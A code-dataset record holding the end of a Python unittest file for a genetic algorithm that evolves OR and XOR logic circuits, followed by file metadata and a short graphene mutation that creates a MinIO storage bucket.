cls.geneset = {'A': Operation(lambda a, b: a, False, False), 'B': Operation(lambda a, b: b, False, False), 'AND': Operation(lambda a, b: a & b, True, True), 'NOT': Operation(lambda a, b: a == 0, True, False)} def test_generate_OR(self): minNodes = 6 # not( and( not(a), not(b))) rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 1]] maxNodes = 20 optimalValue = 1000 - minNodes startTime = datetime.datetime.now() fnDisplay = lambda candidate: displayDot(candidate, startTime) fnGetFitness = lambda candidate: getFitness(candidate, self.geneset, rules) fnCreateGene = lambda index, length: createGene(index, length, self.geneset) fnMutate = lambda child: mutate(child, fnCreateGene) best = genetic.getBest(fnGetFitness, fnDisplay, minNodes, optimalValue, createGene=fnCreateGene, maxLen=maxNodes, customMutate=fnMutate, customCrossover=crossover) self.assertTrue(best.Fitness >= optimalValue) def test_generate_XOR(self): minNodes = 9 # and( not( and(a, b)), not( and( not(a), not(b)))) rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 0]] maxNodes = 50 optimalValue = 1000 - minNodes startTime = datetime.datetime.now() fnDisplay = lambda candidate: displayDot(candidate, startTime) fnGetFitness = lambda candidate: getFitness(candidate, self.geneset, rules) fnCreateGene = lambda index, length: createGene(index, length, self.geneset) fnMutate = lambda child: mutate(child, fnCreateGene) best = genetic.getBest(fnGetFitness, fnDisplay, minNodes, optimalValue, createGene=fnCreateGene, maxLen=maxNodes, customMutate=fnMutate, customCrossover=crossover) self.assertTrue(best.Fitness >= optimalValue) def test_generate_XOR_with_addition(self): minNodes = 5 # and( 1, +(a, b)) geneset = {'A': Operation(lambda a, b: a, False, False), 'B': Operation(lambda a, b: b, False, False), 'AND': Operation(lambda a, b: a & b, True, True), 'NOT': Operation(lambda a, b: a == 0, True, False), '+': Operation(lambda a, b: a + b, True, True), '1': Operation(lambda a, b: 1, False, False)} rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 0]] maxNodes = 50 optimalValue = 1000 - minNodes startTime = datetime.datetime.now() fnDisplay = lambda candidate: displayDot(candidate, startTime) fnGetFitness = lambda candidate: getFitness(candidate, geneset, rules) fnCreateGene = lambda index, length: createGene(index, length, geneset) fnMutate = lambda child: mutate(child, fnCreateGene) best = genetic.getBest(fnGetFitness, fnDisplay, minNodes, optimalValue, createGene=fnCreateGene, maxLen=maxNodes, customMutate=fnMutate, customCrossover=crossover) self.assertTrue(best.Fitness >= optimalValue) def test_getFitness_given_base_node_is_A_and_1_matching_rule_should_return_1(self): rules = [[0, 0, 0], [0, 1, 1]] genes = [Node('A')] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1) def test_getFitness_given_base_node_is_B_and_1st_2_rules_match_should_return_2(self): rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1]] genes = [Node('B')] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 2) def test_getFitness_given_base_node_is_NOT_with_Left_node_out_of_bounds_and_1st_rule_matches_should_return_1(self): rules = [[1, 1, 1], [0, 0, 0]] genes = [Node('NOT', 100, 0)] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1) def test_getFitness_given_base_node_is_NOT_with_Left_node_A_and_2nd_rule_matches_should_return_1(self): rules = [[0, 0, 0], [1, 1, 1]] genes = [Node('NOT', 100, 0)] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1) def test_getFitness_given_base_node_is_AND_with_both_nodes_out_of_bounds_and_0_matching_rules_should_return_0(self): rules = [[1, 0, 1]] genes = [Node('AND', 100, 100)] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 0) def test_getFitness_given_all_rules_pass_and_1_gene_should_return_1000_minus_1(self): rules = [[0, 0, 0]] genes = [Node('AND', 100, 100)] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1000 - len(genes)) def test_getFitness_given_all_rules_pass_and_2_genes_but_only_1_used_should_return_1000_minus_1(self): rules = [[0, 0, 0]] genes = [Node('AND', 100, 100), Node('B')] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1000 - 1) def test_getFitness_given_all_rules_pass_and_3_genes_but_only_2_used_should_return_1000_minus_2(self): rules = [[0, 0, 0]] genes = [Node('AND', 2, 100), Node('AND', 2, 2), Node('B')] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1000 - 2) def test_getFitness_given_all_rules_pass_with_NOT_2_NOT_1_NOT_2_B_A_should_return_1000_minus_2(self): rules = [[0, 0, 0]] genes = [Node('NOT', 2), Node('NOT', 1), Node('NOT', 2), Node('B'), Node('A')] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1000 - 2) def test_getFitness_given_rules_and_genes_for_XOR_should_get_1000_minus_9(self): rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 0]] # and( not( and(a, b)), not( and( not(a), not(b)))) genes = [Node('AND', 1, 2), Node('NOT', 3), Node('NOT', 4), Node('AND', 5, 6), Node('AND', 7, 8), Node('NOT', 7), Node('NOT', 8), Node('A'), Node('B')] result = getFitness(genes, self.geneset, rules) self.assertEqual(result, 1000 - 9) if __name__ == '__main__': unittest.main()
39.459538
120
0.592324
7,011
0.513514
0
0
323
0.023658
0
0
548
0.040138
3468df68fd8fc6a0c52f0380581de6898df0a999
658
py
Python
src/schema/create_minio_bucket.py
mdpham/minio-loompy-graphene
11bad237bd10658a97dd2a28057c83ad47e432be
[ "BSD-3-Clause" ]
null
null
null
src/schema/create_minio_bucket.py
mdpham/minio-loompy-graphene
11bad237bd10658a97dd2a28057c83ad47e432be
[ "BSD-3-Clause" ]
9
2020-03-27T07:55:20.000Z
2022-02-18T23:47:56.000Z
src/schema/create_minio_bucket.py
mdpham/minio-loompy-graphene
11bad237bd10658a97dd2a28057c83ad47e432be
[ "BSD-3-Clause" ]
null
null
null
from graphene import Schema, Mutation, String, Field, ID, List from minio import Minio from minio.error import ResponseError from .minio_bucket import MinioBucket from minio_client.client import minio_client class CreateMinioBucket(Mutation): # Use minio bucket type definition to be returned when created Output = MinioBucket # Subclass for describing what arguments mutation takes class Arguments: bucket_name = String() # Resolver function with arguments def mutate(root, info, bucket_name): try: minio_client.make_bucket(bucket_name) return {'bucket_name': bucket_name} except ResponseError as err: print(err)
31.333333
64
0.767477
447
0.679331
0
0
0
0
0
0
164
0.24924